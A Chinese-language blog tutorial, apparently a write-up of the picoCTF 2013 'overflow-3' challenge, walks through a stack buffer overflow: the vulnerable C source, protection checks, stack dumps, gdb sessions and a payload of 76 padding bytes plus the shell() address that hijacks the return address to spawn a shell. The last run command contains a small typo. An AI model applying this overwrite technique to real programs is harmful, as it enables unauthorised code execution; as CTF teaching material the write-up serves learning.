pico-ctf-2013 overflow-3

xiaoxiao2021-02-28  108

栈溢出入门教程三

overflow3.c

#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" /* * Goal: Get the program to run this function. */ void shell(void) { execl("/bin/sh", "sh", NULL); } void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); printf("shell function = %p\n", shell); vuln(argv[1]); return 0; }

checksec的结果:

gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial

几乎没有什么保护,脆弱的程序啊. 思路:由上面的c代码可见,如果我们能够执行shell函数,我们就能拿到shell.但是没有条件跳转过去.但是我们有溢出这个漏洞可以利用,劫持eip,使其跳转到shell函数. 1.找出返回值地址.

./overflow3 $(python -c "print 'A'*64+'B'*4") shell function = 0x80485f8 Stack dump: 0xffffced0: 0xffffd196 (first argument) 0xffffcecc: 0x080486bc (saved eip) 0xffffcec8: 0xffffcef8 (saved ebp) 0xffffcec4: 0xf7ffd900 0xffffcec0: 0x42424242 0xffffcebc: 0x41414141 0xffffceb8: 0x41414141 0xffffceb4: 0x41414141 0xffffceb0: 0x41414141 0xffffceac: 0x41414141 0xffffcea8: 0x41414141 0xffffcea4: 0x41414141 0xffffcea0: 0x41414141 0xffffce9c: 0x41414141 0xffffce98: 0x41414141 0xffffce94: 0x41414141 0xffffce90: 0x41414141 0xffffce8c: 0x41414141 0xffffce88: 0x41414141 0xffffce84: 0x41414141 0xffffce80: 0x41414141 (beginning of buffer)

上面结果给出了:eip的地址是0xffffcecc,与beginning of buffer(0xffffce80)相差76,接下来需要获取shell函数的地址.

objdump -d overflow3|grep ">:" 0804837c <_init>: 080483b0 <setresuid@plt-0x10>: 080483c0 <setresuid@plt>: 080483d0 <printf@plt>: 080483e0 <geteuid@plt>: 080483f0 <strcpy@plt>: 08048400 <puts@plt>: 08048410 <__gmon_start__@plt>: 08048420 <__libc_start_main@plt>: 08048430 <putchar@plt>: 08048440 <execl@plt>: 08048450 <_start>: 08048480 <__do_global_dtors_aux>: 080484e0 <frame_dummy>: 08048504 <dump_stack>: 080485f8 <shell>: 0804861c <vuln>: 08048650 <main>: 080486d0 <__libc_csu_init>: 08048740 <__libc_csu_fini>: 08048742 <__i686.get_pc_thunk.bx>: 08048750 <__do_global_ctors_aux>: 0804877c <_fini>:

shell地址:0x080485f8.于是构造下面payload:./overflow3 $(python -c “print ‘A’*76+’\xf8\x85\x04\x08’”). 结果图: 方法二:对于这类需要劫持控制流,上面这种属于特殊情况.因为它执行了了dump_stack函数,将相关的堆栈信息输出了.对于那些没有将栈信息输出的程序,我们可以通过gdb调试来计算出返回值地址和buffer start之间的距离,然后再覆盖其返回值地址,劫持控制流.

gdb --args ./overflow3 $(python -c "print 'A'*64+'B'*4")

vuln函数汇编代码:

0x0804861c <+0>: push ebp 0x0804861d <+1>: mov ebp,esp 0x0804861f <+3>: sub esp,0x58 0x08048622 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x08048625 <+9>: mov DWORD PTR [esp+0x4],eax 0x08048629 <+13>: lea eax,[ebp-0x48] 0x0804862c <+16>: mov DWORD PTR [esp],eax 0x0804862f <+19>: call 0x80483f0 <strcpy@plt> 0x08048634 <+24>: lea eax,[ebp+0x8] 0x08048637 <+27>: mov DWORD PTR [esp+0x8],eax 0x0804863b <+31>: mov DWORD PTR [esp+0x4],0x15 0x08048643 <+39>: lea eax,[ebp-0x48] 0x08048646 <+42>: mov DWORD PTR [esp],eax 0x08048649 <+45>: call 0x8048504 <dump_stack> 0x0804864e <+50>: leave 0x0804864f <+51>: ret

我们在0x0804861d和0x0804864e分别下断点.

b * 0x0804861d b * 0x0804864e 0x0804861d处的栈空间内容: gdb-peda$ x/32x $esp-0x50 0xffffce18: 0x000000e0 0x00000000 0xf7ffd000 0x0804827c 0xffffce28: 0x34303840 0x38663538 0xffffce98 0xf7e05798 0xffffce38: 0xf7e40bcb 0x00000000 0xf7faf000 0xf7faf000 0xffffce48: 0xffffce98 0xf7e48046 0xf7fafd60 0x08048839 0xffffce58: 0xffffce78 0xf7e48020 0x08048839 0xf7ffd918 0xffffce68: 0xffffce98 0x080486bc 0xffffd165 0x080485f8 0xffffce78: 0x000003e8 0xf7e2d9eb 0xf7faf3dc 0x0804823c 0xffffce88: 0x080486d9 0x000003e8 0xf7faf000 0xf7faf000

断点:0x0804864e的栈信息

gdb-peda$ x/30x 0xffffce70-0x50 0xffffce20: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffce30: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffce40: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffce50: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffce60: 0x42424242 0xf7ffd900 0xffffce98 0x080486bc 0xffffce70: 0xffffd165 0x080485f8 0x000003e8 0xf7e2d9eb

由于vuln函数的返回地址是0x080486bc,由此我们可以计算出返回地址距buffer start的距离.

0xffffce6c-0xffffce20=0x4c=76

运行:

./overflow $(python -c "A"*76+'\xf8\x85\x04\x08')

获得一个新的shell. 其实本题我们也可以通过shellcode,来获取一个新的shell. 这个方法在下面的文章你会看到的. 注:由于操作系统的原因,函数的地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址

转载请注明原文地址: https://www.6miu.com/read-66415.html

最新回复(0)